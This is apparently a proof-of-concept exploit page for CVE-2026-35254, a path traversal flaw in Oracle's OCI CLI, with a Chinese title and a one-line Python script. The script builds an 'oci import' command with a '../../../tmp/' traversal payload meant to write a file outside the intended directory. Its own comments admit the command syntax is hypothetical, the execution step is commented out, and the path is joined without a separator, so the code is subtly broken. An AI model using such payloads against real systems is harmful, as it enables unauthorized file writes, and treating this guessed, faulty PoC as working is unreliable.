CVE-2026-35254 Oracle OCI CLI 路径遍历漏洞

# PoC for CVE-2026-35254: Path Traversal in Oracle OCI CLI # This script demonstrates the concept of exploiting the path traversal vulnerability # by attempting to place a file outside the intended directory. import subprocess import os def exploit_path_traversal(): # Simulating the vulnerable CLI command # The vulnerability lies in the '--file' or '--output-dir' parameter accepting path traversal sequences vulnerable_cli_path = "oci" # Assuming 'oci' is in the system PATH # Intended directory for import intended_dir = "/home/user/oci_imports" # Malicious path using traversal sequences to write outside the intended directory # Example: writing to /tmp/malicious_payload.txt malicious_payload = "../../../tmp/malicious_payload.txt" # Construct the command (Hypothetical command structure based on the vulnerability description) # Note: Actual command syntax depends on the specific vulnerable CLI function command = [ vulnerable_cli_path, "import", "--file", "test_data.json", "--target-dir", intended_dir + malicious_payload ] print(f"[*] Attempting to trigger path traversal...") print(f"[*] Command: {' '.join(command)}") try: # In a real exploitation scenario, this would execute the command # result = subprocess.run(command, check=True, capture_output=True) print(f"[+] If vulnerable, file would be written to: {os.path.abspath(intended_dir + malicious_payload)}") except Exception as e: print(f"[-] Error executing command: {e}") if __name__ == "__main__": exploit_path_traversal()